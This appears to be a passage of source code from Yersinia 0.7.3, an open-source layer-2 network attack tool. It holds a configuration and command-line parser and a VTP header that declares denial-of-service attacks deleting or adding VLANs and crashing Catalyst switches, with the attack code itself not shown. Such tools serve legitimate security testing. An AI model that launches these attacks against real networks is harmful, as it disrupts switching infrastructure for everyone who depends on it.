(pthread_mutex_lock(&terms->mutex_rand) != 0) { thread_error("get_random_string pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("get_random_string pthread_mutex_unlock()",errno); return -1; } #endif j = j % (sizeof(valid_chars) - 1); string[total] = valid_chars[j]; total++; } string[len-1] = '\0'; return 0; } int8_t parser_get_random_int(u_int8_t max) { u_int8_t j; struct timeval tv; #ifdef HAVE_RAND_R u_int32_t i; #endif if (gettimeofday(&tv, NULL) < 0) { thread_error("Error in gettimeofday", errno); return -1; } #ifdef HAVE_RAND_R i = (u_int32_t)tv.tv_usec; j = rand_r(&i); #else if (pthread_mutex_lock(&terms->mutex_rand) != 0) { thread_error("get_random_int pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("get_random_int pthread_mutex_unlock()",errno); return -1; } #endif j = j % max; return j; } int8_t parser_read_config_file(struct term_tty *tty, struct term_node *node) { FILE *file; char buffer[BUFSIZ], *ptr, *ptr2; u_int8_t state, i; int16_t proto, field; struct commands_param *params; params = NULL; state = 0; proto = -1; field = -1; if ((file = fopen(tty->config_file, "r")) == NULL) { write_log(1, "Error opening configuration file %s\n", tty->config_file); return -1; } while(fgets(buffer, BUFSIZ,file) != NULL) { /* trim any initial space */ ptr = buffer; while((*ptr == ' ') || (*ptr == '\t')) ptr++; if ((*ptr == '\n') || (*ptr == '#')) /* Move to the next line */ continue; switch(state) { case 0: /* State 0. Tokens allowed: global, protocol */ if (strncmp(ptr, "", 8) == 0) { /* Global options */ proto = 666; state = 1; } else if (strncmp(ptr, "config_file, (ptr + 10)); return -1; } state = 2; } break; case 1: /* State 1: global options */ if (strncmp(ptr, "", 9) == 0) { state = 0; continue; } if (strncmp(ptr, "mac_spoofing", 12) == 0) { ptr += strlen("mac_spoofing"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } tty->mac_spoofing = atoi(ptr + 1); } else if (strncmp(ptr, "splash", 6) == 0) { ptr += strlen("splash"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } tty->splash = atoi(ptr + 1); } else if (strncmp(ptr, "port", 4) == 0) { ptr += strlen("port"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } tty->port = atoi(ptr + 1); } else if (strncmp(ptr, "username", 8) == 0) { ptr += strlen("username"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->username, ptr, MAX_USERNAME); } else if (strncmp(ptr, "password", 8) == 0) { ptr += strlen("password"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->password, (ptr), MAX_PASSWORD); } else if (strncmp(ptr, "enable", 6) == 0) { ptr += strlen("enable"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* Trim the \n */ ptr2 = ptr; while (*ptr2 != '\0') if (*ptr2 == '\n') *ptr2 = '\0'; else ptr2++; strncpy(tty->e_password, (ptr), MAX_PASSWORD); } else if (strncmp(ptr, "hosts", 5) == 0) { u_int8_t gotit=0; ptr += strlen("hosts"); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } ptr++; while(!gotit) { /* Trim all the spaces */ while((*ptr == ' ')||(*ptr == '\t')) ptr++; ptr2 = ptr; while ((*ptr != '\0') && (*ptr != ' ') && (*ptr != '\t')) { if (*ptr == '\n') { *ptr = '\0'; gotit=1; } else ptr++; } if ((*ptr == ' ') || (*ptr == '\t')) { *ptr = '\0'; ptr++; } if (ptr != ptr2) if (parser_vrfy_ip2filter(ptr2,tty) < 0 ) { write_log(1,"Parse error: error parsing IP address '%s'\n",ptr2); parser_free_ip2filter(tty->ip_filter); return -1; } } } else { write_log(1, "Parse error: %s is not a global option\n", ptr); return -1; } break; case 2: /* State 2: protocol options */ if (strncmp(ptr, "", 11) == 0) { state = 0; continue; } /* Now find any possible field */ i = 0; while(i < protocols[proto].nparams) { if (strncasecmp(params[i].ldesc, ptr, strlen(params[i].ldesc)) == 0) { ptr += strlen(params[i].ldesc); if ((ptr = strchr(ptr, '=')) == NULL) { write_log(1, "Parse error: missing '=' (%s)\n", buffer); return -1; } ptr++; /* Trim all the spaces */ while(*ptr == ' ') ptr++; /* For the hex: if exists 0x, then delete! */ if ((*ptr == '0') && (*(ptr+1) == 'x')) { ptr++; ptr++; } /* Trim the \n */ if (ptr[strlen(ptr) - 1] == '\n') ptr[strlen(ptr) - 1] = '\0'; write_log(0, "tengo %s, %d, %s, %d\n", params[i].ldesc, params[i].type, ptr, params[i].size_print); if ((strlen(ptr)) && (parser_filter_param(params[i].type, node->protocol[proto].commands_param[i], ptr, params[i].size_print,params[i].size) < 0)) { write_log(0, "Error when parsing %s: %s\n", params[i].ldesc, ptr); return -1; } /* jump out */ break; } i++; } /* No success */ if (i == protocols[proto].nparams) { write_log(1, "Parse error: there is no %s field in %s protocol\n", ptr, protocols[proto].namep); return -1; } break; } } if (fclose(file) != 0) { write_log(1, "Error closing configuration file %s\n", tty->config_file); return -1; } return 0; } int8_t parser_write_config_file(struct term_tty *tty) { FILE *file; u_int8_t i, j, k; char **values; char temp[6]; struct filter *cursor; struct commands_param *params; if ((file = fopen(tty->config_file, "w+")) == NULL) { write_log(0, "Error opening configuration file %s\n", tty->config_file); return -1; } fputs("# $Id: parser.c 46 2007-05-08 09:13:30Z slay $\n", file); fputs("#\n", file); fputs("# Yersinia configuration file example\n", file); fputs("#\n", file); fputs("# Please read the README and the man page before complaining\n", file); fputs("\n", file); fputs("# Global options\n", file); fputs("\n", file); fputs("# MAC Spoofing\n", file); fputs("mac_spoofing = 1\n", file); fputs("# Active interfaces\n", file); fputs("#interfaces = eth0, eth1\n", file); fputs("# Hosts allowed to connect to the network daemon\n", file); fputs("# Examples: www.microsoft.com 192.168.1.0/24 10.31-128.*.13 100.200.*.* 2-20.*.*.10-11\n",file); cursor = tty->ip_filter; if (!cursor) fputs("hosts = localhost", file); else fputs("hosts =", file); while(cursor) { fputs(" ",file); fputs(cursor->expression,file); cursor = cursor->next; } fputs("\n",file); fputs("# Propaganda. It's cool, so please, don't disable it!! :-P\n", file); fputs("splash = 1\n", file); fputs("# Username for the admin mode\n", file); fputs("username = ", file); fputs(tty->username, file); fputs("\n", file); fputs("# Password for the admin mode\n", file); fputs("password = ", file); fputs(tty->password, file); fputs("\n", file); fputs("# Enable password for the admin mode\n", file); fputs("enable = ", file); fputs(tty->e_password, file); fputs("\n", file); fputs("# Daemon port\n", file); fputs("port = ", file); snprintf(temp, 6, "%hd", tty->port); fputs(temp, file); fputs("\n", file); fputs("\n\n", file); for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; params = (struct commands_param *) protocols[i].parameters; fputs("\n", file); if (protocols[i].get_printable_store == NULL) { write_log(0, "printable_store in protocol %d is NULL\n", i); } if (protocols[i].get_printable_store) { if ((values = (*protocols[i].get_printable_store)(NULL)) == NULL) { write_log(0, "Error in get_printable_store\n"); return -1; } k = 0; for (j = 0; j < protocols[i].nparams; j++) { if ((params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_IFACE) && (params[j].type != FIELD_EXTRA)) { fputs(params[j].ldesc, file); fputs(" = ", file); switch(params[j].type) { case FIELD_HEX: fputs("0x", file); break; default: break; } fputs(values[k], file); fputs("\n", file); k++; } } fputs("\n\n", file); j = 0; if (values) while(values[j]) { free(values[j]); j++; } free(values); } else fputs("\n\n", file); } if (fclose(file) != 0) { write_log(1, "Error closing configuration file %s\n", tty->config_file); return -1; } return 0; } /* ============================================ */ /* Mask and convert digit to hex representation */ /* Output range is 0..9 and a..f only */ int hexify(unsigned int value) { int result; result = (value & 0x0f) + '0'; if (result > '9') result = result + ('a' - '0' - 10); return result; } /* hexify */ /* ========================================= */ /* convert number to string in various bases */ /* 2 <= base <= 16, controlled by hexify() */ /* Output string has ls digit first. */ void parser_basedisplay(u_int8_t number, u_int8_t base, char * string, size_t maxlgh) { /* assert (string[maxlgh]) is valid storage */ if (!maxlgh) { *string = '\0'; return; } else { *string = hexify(number % base); if (!number) *string = '\0'; else { parser_basedisplay(number / base, base, &string[1], maxlgh - 1); } } } /* basedisplay */ /* ======================= */ /* reverse string in place */ void revstring(char * string) { char * last, temp; last = string + strlen(string); /* points to '\0' */ while (last-- > string) { temp = *string; *string++ = *last; *last = temp; } } /* revstring */ /* * Verify an expression in order to add it to * the linked list of ip filters * All data will be stored in Host Byte Order * Expressions allowed are: * 1- CIDR notation: 10.20.30.0/24 * 2- Wildcard use: 10.20.30.* * 3- Range use: 10.20.30.0-255 * 4- Range with wildcard: 10.20.20-30.* * 5- IP as usual: 10.20.30.40 * 6- Hostname: www.bloblob.xx * * Return 0 on success. -1 on error */ int8_t parser_vrfy_ip2filter(char *expr, struct term_tty *tty) { union bla { u_int32_t all; u_int8_t byte[4]; }; union bla numbegin, numend; char *expr2, *str[4], *ip, *aux, *aux2; u_int8_t bits, dots, name, wildcard; u_int32_t auxl, beginl, endl,i; numbegin.all = 0; numend.all = 0; expr2 = strdup(expr); if (expr2 == NULL) { write_log(1,"strdup error!!\n"); return -1; } ip = expr2; aux = strchr(ip, '/'); if (aux == NULL) /* No CIDR expression */ { /* How many dots? */ dots = 0; aux2 = ip; name = wildcard = 0; for (i=1; i< (strlen(aux2)-1); i++) { if (aux2[i] == '.') { dots++; if (aux2[i+1] == '.') { free(expr2); return -1; } } else { if (!isdigit(aux2[i])) { if ((aux2[i]=='*') || (aux2[i]=='-')) wildcard = 1; else { name=1; break; } } } } if (name || (!name && !wildcard)) /* We have a name or a IP address */ { struct hostent *namehost; namehost = gethostbyname(aux2); if (namehost == NULL) { write_log(1,"Parse error: Unable to resolve '%s'!! Anyway we'll go on with the rest of the addresses...\n",aux2); free(expr2); return 0; } memcpy((char *)&auxl, namehost->h_addr_list[0], sizeof(struct in_addr)); auxl = ntohl(auxl); beginl = endl = auxl; } else /* We have an expression with '*' or '-'*/ { char *aux3=NULL, *aux4=NULL; if (dots!=3) { free(expr2); return -1; } for(i=0; i< 4; i++) { aux3 = strchr(aux2,'.'); if (aux3!=NULL) *aux3 = '\0'; str[i] = aux2; if ( (strchr(str[i],'*') != NULL) && (strchr(str[i],'-') != NULL) ) { free(expr2); return -1; } if ( (aux4 = strchr(str[i],'*')) == NULL) { if ( (aux4 = strchr(str[i],'-')) == NULL) { if (strlen(str[i]) > 3) { free(expr2); return -1; } numbegin.byte[i] = atoi(str[i]); numend.byte[i] = numbegin.byte[i]; } else /* We have '-' token... */ { char *aux5=NULL; if ( strlen(str[i]) > 7) { free(expr2); return -1; } aux5 = str[i]; if (aux5 == aux4) /* Value = '-xxx' or '-' */ { numbegin.byte[i] = 0; if (strlen(aux5) == 1) numend.byte[i] = 255; else { aux4++; numend.byte[i]=atoi(aux4); } } else /* Value = 'x-' or 'x-x' */ { if ( *(aux5+strlen(str[i])-1) == '-') /* Case 'x-' */ { *aux4 = '\0'; numbegin.byte[i] = atoi(aux5); numend.byte[i] = 255; } else /* Case 'x-x' */ { *aux4 = '\0'; aux4++; numbegin.byte[i] = atoi(aux5); numend.byte[i] = atoi(aux4); } } } } else /* We have '*' token */ { if (strlen(str[i]) > 1) { free(expr2); return -1; } numbegin.byte[i] = 0; numend.byte[i] = 255; } aux2 = ++aux3; } /* for...*/ for(i=0;i<4;i++) { if (numbegin.byte[i] > numend.byte[i]) { free(expr2); return -1; } } beginl = ntohl(numbegin.all); endl = ntohl(numend.all); } } else /* We have a CIDR expression */ { *aux = '\0'; aux++; if ((aux=='\0') || (strlen(aux)>2)) { free(expr2); return -1; } bits = atoi(aux); if (bits>32) { free(expr2); return -1; } if (!inet_aton(ip, (struct in_addr *)&auxl)) { free(expr2); return -1; } auxl = ntohl(auxl); beginl = auxl & (unsigned long) (0 - (1<<(32 - bits))); endl = auxl | (unsigned long) ((1<<(32 - bits)) - 1); } /* write_log(1,"IP Begin = %08X %s\n",beginl,inet_ntoa( (*((struct in_addr *)&beginl)) ) ); write_log(1,"IP End = %08X %s\n",endl,inet_ntoa( (*((struct in_addr *)&endl)) ) ); */ free(expr2); if (beginl > endl) return -1; if (parser_add_ip2filter(beginl,endl,tty,expr) < 0) return -1; return 0; } /* * Add an IPv4 range to the linked list of ip ranges * All data will be stored in Host Byte Order * * Return 0 on success. -1 on error */ int8_t parser_add_ip2filter(u_int32_t begin, u_int32_t end, struct term_tty *tty, char *expr) { struct filter *new, *cursor=NULL, *last=NULL; char *expr2=NULL; new = (struct filter *)calloc(1,sizeof(struct filter)); if (new == NULL) return -1; if ( (expr2=strdup(expr)) == NULL) { free(new); return -1; } new->expression = expr2; new->begin = begin; new->end = end; new->next = NULL; if (!tty->ip_filter) { tty->ip_filter = new; return 0; } cursor = tty->ip_filter; while(cursor) { last = cursor; cursor = cursor->next; } last->next = new; return 0; } void parser_free_ip2filter(struct filter *ipfilter) { struct filter *cursor, *aux; cursor = ipfilter; while(cursor) { aux = cursor->next; free(cursor->expression); free(cursor); cursor = aux; } } /* * Filter 1 parameter * Return -1 on error. * Return 0 on success. */ int8_t parser_filter_param(u_int8_t type, void *value, char *printable, u_int16_t size_print, u_int16_t size) { u_int8_t i, *bytes, j; char tmp[3]; char *temp; // int8_t iface; u_int16_t end, len, len2; u_int32_t aux_ip; struct in_addr addr; //write_log(0, "tipe es %d, value %s, printable %s, size %d\n", type, value, printable, size_print); if (type == FIELD_TLV) return 0; if (!printable || !value || !strlen(printable) || (strlen(printable) > size_print) ) return -1; switch(type) { case FIELD_BRIDGEID: if (strlen(printable) != 17) return -1; if (parser_vrfy_bridge_id(printable,(u_int8_t *)value)) return -1; break; case FIELD_MAC: if (parser_vrfy_mac(printable,(u_int8_t *)value)) return -1; break; case FIELD_HEX: case FIELD_DEC: end = strlen(printable); for(i=0; i 0) { for(i=0; i\n\n"); } /* * Command line parser for all protocols */ int8_t parser_cl_proto( struct term_node *node, int8_t argc, char **args, u_int8_t proto) { int8_t aux, tmp, ifaces, i, j, has_help, has_arg, fail, gotit; char *param; u_int32_t aux_long; struct term_tty *term_tty=NULL; struct attack *first_attack; struct commands_param *comm_par; dlist_t *p = NULL; struct interface_data *iface_data; char **aux_args = args; if (argc == 1) { write_log(2,"Ouch!! No arguments specified!!\n"); return -1; } comm_par = protocols[proto].parameters; term_tty = node->specific; ifaces = 0; i = 0; aux_args++; while ( *aux_args != (char *)NULL ) { if (*(aux_args+1) == NULL) { has_arg = 0; has_help = 0; } else { has_arg = 1; if (!strcmp("?", *(aux_args+1)) ) has_help = 1; else has_help = 0; } /* write_log(2,"argc=%d arg(%d)=%s has_help=%d has_arg=%d\n",argc,i,*aux_args,has_help,has_arg);*/ if ((strlen(*aux_args)==1) || ((**aux_args) != '-') ) { write_log(2," Bad parameter '%s'!!\n",*aux_args); return -1; } if (!strcmp("-interface", *aux_args) || !strcmp("-i", *aux_args) ) { if (!has_arg) { write_log(2,"Parameter 'interface' needs an argument!!\n"); return -1; } if (has_help) { write_log(2," WORD Network interface name\n"); return -1; } aux_args++; if ((p = dlist_search(interfaces->list, interfaces->cmp, (*aux_args))) == NULL) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", *aux_args); return -1; } /* Don't repeat interface...*/ if (!dlist_search(node->used_ints->list, node->used_ints->cmp, (*aux_args))) { if ((tmp = interfaces_enable(*aux_args)) == -1) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",*aux_args); return -1; } iface_data = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_data, (void *)dlist_data(p), sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_data); ifaces++; } } else if (!strcmp("-help", *aux_args) || !strcmp("-h", *aux_args) ) { parser_cl_proto_help(proto,node); return -1; } else if (!strcmp("-M", *aux_args) ) { if (has_help) { write_log(2," Disable MAC address spoofing\n"); return -1; } node->mac_spoofing = 0; } else if (!strcmp("-attack", *aux_args) ) { if (!has_arg) { write_log(2,"Parameter 'attack' needs an argument!!\n"); return -1; } if (!protocols[proto].attacks) { write_log(2,"Ouch!! No attacks defined for protocol %s!!\n",protocols[proto].namep); return -1; } if (has_help) { first_attack = protocols[proto].attacks; while (first_attack->s != NULL) { write_log(2," <%d> %s attack %s\n",first_attack->v, (first_attack->type)?"DOS":"NONDOS", first_attack->s); ++first_attack; } return -1; } aux_args++; aux = atoi(*aux_args); first_attack = protocols[proto].attacks; j=0; while(first_attack[j].s != NULL) j++; if ( (aux < 0) || (aux > (j-1)) ) { write_log(2," %s attacks id must be between 0 and %d!!\n",protocols[proto].namep,(j-1)); return -1; } term_tty->attack = aux; } else /* Now we can compare all the protocol params */ { gotit=0; comm_par = protocols[proto].parameters; param = *aux_args; param++; /* Avoid the '-' */ for(j=0; jprotocol[proto].commands_param[j], *(aux_args+1), comm_par[j].size_print, comm_par[j].size); if (fail == -1) { write_log(2," Bad value '%s' for parameter '%s'!!\n",*(aux_args+1),param); return -1; } if (comm_par[j].type == FIELD_IP) { memcpy((void *)&aux_long, (void *)node->protocol[proto].commands_param[j], 4); aux_long = ntohl(aux_long); memcpy((void *)node->protocol[proto].commands_param[j], (void *)&aux_long, 4); } if (comm_par[j].filter) /* Use specific filter for this param */ { fail = (comm_par[j].filter((void *)node,node->protocol[proto].commands_param[j],*(aux_args+1))); if (fail == -1) { write_log(2," Bad value '%s' for parameter '%s'!!\n",*(aux_args+1),param); return -1; } } gotit=1; aux_args++; break; } } /* next protocol parameter */ if (!gotit) { write_log(2," Unrecognized parameter '%s'!!!\n",*aux_args); return -1; } } aux_args++; i++; } /* while */ if (interfaces->list) iface_data = dlist_data(interfaces->list); else { write_log(0, "Hmm... you don't have any valid interface.\ %s is useless. Go and get a life!\n", PACKAGE); return -1; } /* take the first valid interface */ if (!ifaces) { if (strlen(iface_data->ifname)) { write_log(2,"Warning: interface %s selected as the default one\n", iface_data->ifname); if ((tmp = interfaces_enable(iface_data->ifname)) == -1) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname); return -1; } else { iface_data = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_data, (void *)dlist_data(interfaces->list), sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_data); ifaces++; } } else { write_log(2,"Hmm... you don't have any valid interface. Go and get a life!\n"); return -1; } } return 0; } int8_t parser_binary2printable(u_int8_t proto, u_int8_t elem, void *value, char *msg) { int8_t j; u_int8_t *aux8; u_int16_t *aux16; u_int32_t *aux32, auxip; struct commands_param *params; params = (struct commands_param *) protocols[proto].parameters; *msg = '\0'; switch(params[elem].type) { case FIELD_IP: memcpy((void *)&auxip, value, 4); auxip = htonl(auxip); strncpy(msg, libnet_addr2name4(auxip, LIBNET_DONT_RESOLVE), 16); break; case FIELD_HEX: if (params[elem].size_print == 2) { aux8 = (u_int8_t *) value; snprintf(msg, 3,"%02hX",*aux8); } else if (params[elem].size_print == 4) { aux16 = (u_int16_t *) value; snprintf(msg, 5,"%04hX",*aux16); } else { aux32 = (u_int32_t *) value; snprintf(msg, 9,"%08hX",*aux32); } break; case FIELD_DEC: if (params[elem].size == 1) { aux8 = (u_int8_t *) value; snprintf(msg, 4 ,"%d",*aux8); } else if (params[elem].size == 2) { aux16 = (u_int16_t *) value; snprintf(msg, 6,"%d",*aux16); } else { aux32 = (u_int32_t *) value; snprintf(msg, 9,"%d",*aux32); } break; case FIELD_BRIDGEID: aux8 = value; snprintf(msg, 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(aux8)&0xFF, *(aux8+1)&0xFF, *(aux8+2)&0xFF, *(aux8+3)&0xFF, *(aux8+4)&0xFF, *(aux8+5)&0xFF, *(aux8+6)&0xFF, *(aux8+7)&0xFF); break; case FIELD_MAC: aux8 = value; snprintf(msg, 18, "%02X:%02X:%02X:%02X:%02X:%02X", aux8[0], aux8[1], aux8[2], aux8[3], aux8[4], aux8[5]); break; case FIELD_BYTES: aux8 = value; for(j=0; j max) max = strlen(tuple[i].desc); i++; } return max; } /* vim:set tabstop=3:set expandtab:set shiftwidth=3:set textwidth=78: */ yersinia-0.7.3/src/vtp.h0000644000175000017500000002504712234207266012733 0ustar nknk/* vtp.h * Definitions for Cisco's VLAN Trunking Protocol * * $Id: vtp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __VTP_H__ #define __VTP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define VTP_SUMM_ADVERT 0x01 #define VTP_SUBSET_ADVERT 0x02 #define VTP_REQUEST 0x03 #define VTP_JOIN 0x04 static const struct tuple_type_desc vtp_code[] = { { VTP_SUMM_ADVERT, "SUMMARY" }, { VTP_SUBSET_ADVERT, "SUBSET" }, { VTP_REQUEST, "REQUEST" }, { VTP_JOIN, "JOIN" }, { 0, NULL } }; #define VLAN_TYPE_ETHERNET 0x01 #define VLAN_TYPE_FDDI 0x02 #define VLAN_TYPE_TRCRF 0x03 #define VLAN_TYPE_FDDI_NET 0x04 #define VLAN_TYPE_TRBRF 0x05 static const struct tuple_type_desc vlan_type[] = { { VLAN_TYPE_ETHERNET, "Ethernet" }, { VLAN_TYPE_FDDI, "FDDI" }, { VLAN_TYPE_TRCRF, "TRCRF" }, { VLAN_TYPE_FDDI_NET, "FDDI-NET" }, { VLAN_TYPE_TRBRF, "TRBRF" }, { 0, NULL } }; /* Default values */ #define VTP_DFL_VERSION 0x01 #define VTP_DFL_DOMAIN "\x0\x0\x0\x0\x0\x0\x0\x0" #define VTP_DFL_DOM_LEN 0x08 #define VTP_DFL_CODE VTP_REQUEST #define VTP_TIMESTAMP_SIZE 12 #define VTP_DOMAIN_SIZE 32 #define VLAN_MAX 64 #define VLAN_NAME_SIZE 32 #define VLAN_ALIGNED_LEN(x) (4*(((x)+3)/4) ) #define VTP_DOT10_BASE 0x100000 #define VTP_VLAN_ADD 0x00 #define VTP_VLAN_DEL 0x01 #define VTP_VLAN_DEL_ALL 0x02 static struct proto_features vtp_features[] = { { F_LLC_CISCO, 0x2003 }, { -1, 0 } }; struct vlan_info_print { u_int8_t type; u_int16_t id; u_int32_t dot10; u_int8_t name[VLAN_NAME_SIZE+1]; }; struct vlan_info { u_int8_t len; u_int8_t status; u_int8_t type; u_int8_t name_len; u_int16_t id; u_int16_t mtu; u_int32_t dot10; }; struct vtp_summary { u_int8_t version; u_int8_t code; u_int8_t followers; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t revision; u_int32_t updater; u_int8_t timestamp[VTP_TIMESTAMP_SIZE]; u_int8_t md5[16]; }; struct vtp_subset { u_int8_t version; u_int8_t code; u_int8_t seq; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t revision; }; struct vtp_request { u_int8_t version; u_int8_t code; u_int8_t reserved; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int16_t start_val; }; struct vtp_join { u_int8_t version; u_int8_t code; u_int8_t maybe_reserved; u_int8_t dom_len; u_int8_t domain[VTP_DOMAIN_SIZE]; u_int32_t vlan; u_int8_t unknown[126]; }; /* VTP mode stuff */ struct vtp_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t code; u_int8_t followers; u_int8_t seq; char domain[VTP_DOMAIN_SIZE+1]; u_int8_t dom_len; u_int16_t start_val; u_int32_t revision; u_int32_t updater; u_int8_t timestamp[VTP_TIMESTAMP_SIZE+1]; u_int8_t md5[16]; u_int16_t vlans_len; u_int8_t *vlan_info; u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int16_t options_len; }; #define VTP_SMAC 0 #define VTP_DMAC 1 #define VTP_VERSION 2 #define VTP_CODE 3 #define VTP_DOMAIN 4 #define VTP_MD5 5 #define VTP_UPDATER 6 #define VTP_REVISION 7 #define VTP_TIMESTAMP 8 #define VTP_STARTVAL 9 #define VTP_FOLLOWERS 10 #define VTP_SEQ 11 #define VTP_VLAN 14 /* Struct needed for using protocol fields within the network client */ struct commands_param vtp_comm_params[] = { { VTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { VTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { VTP_VERSION, "version", "Version", 1, FIELD_HEX, "Set vtp version", " <00-FF> virtual trunking version", 2, 2, 0, NULL, NULL }, { VTP_CODE, "code", "Code", 1, FIELD_HEX, "Set vtp code", " <00-FF> virtual trunking code", 2, 2, 1, NULL, vtp_code }, { VTP_DOMAIN, "domain", "Domain", VTP_DOMAIN_SIZE, FIELD_STR, "Set vtp domain name to use", " WORD Domain name", VTP_DOMAIN_SIZE, 2, 1, NULL, NULL }, { VTP_MD5, "md5", "MD5", 16, FIELD_BYTES, "Set vtp md5 hash", " HHHHH... MD5 hash", 32, 3, 1, NULL, NULL }, { VTP_UPDATER, "updater", "Updater", 4, FIELD_IP, "Set updater IP address", " A.A.A.A IPv4 address", 15, 3, 0, NULL, NULL }, { VTP_REVISION, "revision", "Revision", 4, FIELD_DEC, "Set vtp revision number", " <0-1999999999> Revision number", 10, 4, 0, NULL, NULL }, { VTP_TIMESTAMP, "timestamp", "Timestamp", VTP_TIMESTAMP_SIZE, FIELD_STR, "Set vtp timestamp", " WORD Timestamp text", VTP_TIMESTAMP_SIZE, 4, 0, NULL, NULL }, { VTP_STARTVAL, "startval", "Start value", 2, FIELD_DEC, "Set vtp start value", " <0-65535> Start value", 5, 4, 0, NULL, NULL }, { VTP_FOLLOWERS, "followers", "Followers", 1, FIELD_DEC, "Set vtp followers", " <0-255> Followers number", 3, 5, 0, NULL, NULL }, { VTP_SEQ, "sequence", "Sequence", 1, FIELD_DEC, "Set vtp sequence number", " <0-255> Sequence number", 3, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, { VTP_VLAN, "vlan", "VLAN", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; void vtp_th_send(void *); void vtp_th_send_exit(struct attacks *); void vtp_th_dos_del_all(void *); void vtp_th_dos_del_all_exit(struct attacks *); void vtp_th_dos_del(void *); void vtp_th_dos_del_exit(struct attacks *); void vtp_th_dos_add(void *); void vtp_th_dos_add_exit(struct attacks *); void vtp_th_dos_crash(void *); void vtp_th_dos_crash_exit(struct attacks *); #define VTP_PARAM_VLAN_ID 0 #define VTP_PARAM_VLAN_NAME 1 static struct attack_param vtp_vlan_add_param[] = { { NULL, "VLAN ID", 2, FIELD_DEC, 4, NULL }, { NULL, "VLAN Name", VLAN_NAME_SIZE, FIELD_STR, VLAN_NAME_SIZE, NULL } }; static struct attack_param vtp_vlan_del_param[] = { { NULL, "VLAN ID", 2, FIELD_DEC, 4, NULL } }; #define VTP_ATTACK_SEND 0 #define VTP_ATTACK_DEL_ALL 1 #define VTP_ATTACK_DEL 2 #define VTP_ATTACK_ADD 3 #define VTP_ATTACK_CRASH 4 static struct attack vtp_attack[] = { { VTP_ATTACK_SEND, "sending VTP packet", NONDOS, SINGLE, vtp_th_send, NULL, 0 }, { VTP_ATTACK_DEL_ALL,"deleting all VTP vlans", DOS, SINGLE, vtp_th_dos_del_all, NULL, 0 }, { VTP_ATTACK_DEL, "deleting one vlan", DOS, SINGLE, vtp_th_dos_del, vtp_vlan_del_param, SIZE_ARRAY(vtp_vlan_del_param) }, { VTP_ATTACK_ADD, "adding one vlan", NONDOS, SINGLE, vtp_th_dos_add, vtp_vlan_add_param, SIZE_ARRAY(vtp_vlan_add_param) }, { VTP_ATTACK_CRASH, "Catalyst zero day", DOS, SINGLE, vtp_th_dos_crash, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void vtp_register(void); int8_t vtp_send(struct attacks *); int8_t vtp_init_attribs(struct term_node *); int8_t vtp_learn_packet(struct attacks *attacks, char *, u_int8_t *, void *, struct pcap_pkthdr *); char 